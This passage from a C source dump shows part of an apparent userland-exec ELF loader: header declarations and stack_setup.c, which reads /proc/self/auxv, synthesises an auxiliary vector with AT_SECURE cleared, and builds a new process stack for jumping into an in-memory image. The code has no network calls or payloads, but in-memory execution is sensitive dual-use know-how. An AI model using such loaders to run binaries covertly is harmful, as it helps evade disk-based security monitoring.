mapped_elf { 37 | ElfW(Ehdr) *ehdr; 38 | ElfW(Addr) entry_point; 39 | char *interp; 40 | }; 41 | 42 | void map_elf(const unsigned char *data, struct mapped_elf *obj); 43 | 44 | bool is_compatible_elf(const ElfW(Ehdr) *ehdr); 45 | 46 | /* 47 | * Stack creation and setup interface 48 | */ 49 | void synthetic_auxv(size_t *auxv); 50 | void modify_auxv(size_t *auxv, ElfW(Ehdr) *exe, ElfW(Ehdr) *interp); 51 | void stack_setup(size_t *stack_base, int argc, char **argv, char **env, size_t *auxv, 52 | ElfW(Ehdr) *exe, ElfW(Ehdr) *interp); 53 | 54 | /* 55 | * Custom flow control 56 | */ 57 | 58 | void jump_with_stack(size_t dest, size_t *stack); 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /ulexec/reflect_common.h: -------------------------------------------------------------------------------- 1 | #ifndef REFLECT_COMMON_H 2 | #define REFLECT_COMMON_H 3 | 4 | #include 5 | 6 | #ifndef PAGE_SIZE 7 | #define PAGE_SIZE 0x1000 8 | #endif 9 | 10 | 11 | /** 12 | #include 13 | #include 14 | #include 15 | #define dprint(...) (printf(__VA_ARGS__)) 16 | **/ 17 | #define dprint(...) 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /ulexec/stack_setup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "reflect_common.h" 12 | 13 | /** 14 | * Functions that create a sane stack suitable for most kinds of programs on 15 | * most platforms. The function in this file allocate no memory beyond their 16 | * stack frame and execute no system calls. They are purely bookkeeping and 17 | * will not fail if passed valid memory addresses. 18 | **/ 19 | 20 | // Builds the foundation of a minimally-viable auxiliary vector when we have 21 | // none. Requires 20 * size_of(size_t) bytes of memory. 22 | 23 | typedef struct { 24 | unsigned long a_type; 25 | unsigned long a_val; 26 | } ElfW_auxv_t; 27 | 28 | static const ElfW_auxv_t *auxv = NULL; 29 | 30 | static const ElfW_auxv_t *init_auxval(void){ 31 | ElfW_auxv_t *a; 32 | ssize_t size = 512, r, ofs; 33 | int fd; 34 | 35 | auxv = a = malloc(size); 36 | if (!a) { 37 | return NULL; 38 | } 39 | a[0].a_type = 0; 40 | a[0].a_val = 0; 41 | 42 | fd = open("/proc/self/auxv", O_RDONLY); 43 | if (fd < 0) { 44 | return a; 45 | } 46 | 47 | r = read(fd, a, size); 48 | 49 | if (r == size) { 50 | 51 | do { 52 | ofs = size; 53 | size *= 2; 54 | auxv = a = realloc(a, size); 55 | r = read(fd, (char *)a + ofs, ofs); 56 | } while (r == ofs); 57 | } 58 | 59 | close(fd); 60 | return a; 61 | } 62 | 63 | unsigned long myauxval(unsigned long type){ 64 | const ElfW_auxv_t *a = auxv; 65 | 66 | if (a == NULL) { 67 | a = init_auxval(); 68 | } 69 | 70 | for (; a->a_type != 0; a++) { 71 | if (a->a_type == type) { 72 | return a->a_val; 73 | } 74 | } 75 | return 0; 76 | } 77 | 78 | 79 | void synthetic_auxv(size_t *auxv) 80 | { 81 | unsigned long at_sysinfo_ehdr_value = myauxval(AT_SYSINFO_EHDR); 82 | 83 | auxv[0] = AT_BASE; 84 | auxv[2] = AT_PHDR; 85 | auxv[4] = AT_ENTRY; 86 | auxv[6] = AT_PHNUM; 87 | auxv[8] = AT_PHENT; 88 | auxv[10] = AT_PAGESZ; auxv[11] = PAGE_SIZE; 89 | auxv[12] = AT_SECURE; auxv[13] = 1; 90 | auxv[14] = AT_RANDOM; auxv[15] = (size_t)auxv; 91 | auxv[16] = AT_SYSINFO_EHDR; auxv[17] = at_sysinfo_ehdr_value; 92 | auxv[18] = AT_NULL; auxv[19] = 0; 93 | } 94 | 95 | // Minimum modifications for a sane auxiliary vector to run interpreted dynamic 96 | // programs. May not work on all architectures, not multilib-capable. 97 | // 98 | // For static programs, pass the executable image as both `exe` and `interp` 99 | void load_program_info(size_t *auxv, ElfW(Ehdr) *exe, ElfW(Ehdr) *interp) 100 | { 101 | int ii; 102 | size_t exe_loc = (size_t) exe, interp_loc = (size_t) interp; 103 | 104 | for (ii = 0; auxv[ii]; ii += 2) { 105 | switch (auxv[ii]) { 106 | case AT_BASE: 107 | auxv[ii + 1] = interp_loc; 108 | break; 109 | case AT_PHDR: 110 | // When this points to a different place than the executable in 111 | // AT_BASE, the dynamic linker knows that another program is 112 | // pre-loaded by whoever invoked it 113 | auxv[ii + 1] = exe_loc + exe->e_phoff; 114 | break; 115 | case AT_ENTRY: 116 | // If the exe is position-independent, `e_entry` is an offset 117 | // and we need to add it to the base of image 118 | auxv[ii + 1] = (exe->e_entry < exe_loc ? exe_loc + exe->e_entry : exe->e_entry); 119 | break; 120 | case AT_PHNUM: 121 | auxv[ii + 1] = exe->e_phnum; 122 | break; 123 | case AT_PHENT: 124 | auxv[ii + 1] = exe->e_phentsize; 125 | break; 126 | case AT_SECURE: 127 | auxv[ii + 1] = 0; 128 | break; 129 | } 130 | } 131 | } 132 | 133 | // If auxv is NULL, a synthetic one will be added. 134 | // Can cannibalize an old stack in place IF AND ONLY IF: 135 | // * argc <= argc of original stack AND 136 | // * env is shorter or the same length as the original stack 137 | void stack_setup(size_t *stack_base, int argc, char **argv, char **env, size_t *auxv, 138 | ElfW(Ehdr) *exe, ElfW(Ehdr) *interp) 139 | { 140 | size_t *auxv_base; 141 | int ii; 142 | 143 | dprint("New stack: %p\n", (void *)stack_base); 144 | 145 | stack_base[0] = argc; 146 | dprint(" 0x%08zx\n", stack_base[0]); 147 | 148 | for (ii = 0; ii < argc; ii++) { 149 | stack_base[1 + ii] = (size_t)argv[ii]; 150 | dprint(" 0x%08zx\n", stack_base[1 + ii]); 151 | } 152 | stack_base[1 + ii] = 0; 153 | dprint(" 0x%08zx\n", stack_base[1 + ii]); 154 | 155 | for (ii = 0; env[ii]; ii++) { 156 | stack_base[1 + argc + ii] = (size_t)env[ii]; 157 | dprint(" 0x%08zx\n", stack_base[1 + argc + ii]); 158 | } 159 | stack_base[1 + argc + ii] = 0; 160 | dprint(" 0x%08zx\n", stack_base[1 + argc + ii]); 161 | 162 | auxv_base = stack_base + 1 + argc + ii + 1; 163 | 164 | if(auxv) { 165 | for (ii = 0; auxv[ii]; ii++) { 166 | auxv_base[ii] = auxv[ii]; 167 | } 168 | auxv_base[ii] = AT_NULL; 169 | auxv_base[ii + 1] = 0; 170 | } else { 171 | synthetic_auxv(auxv_base); 172 | } 173 | 174 | load_program_info(auxv_base, exe, interp); 175 | #ifdef DEBUG 176 | for (ii = 0; auxv_base[ii]; ii += 2) { 177 | dprint(" 0x%08zx\t0x%08zx\n", auxv_base[ii], auxv_base[ii+1]); 178 | } 179 | #endif 180 | } 181 | --------------------------------------------------------------------------------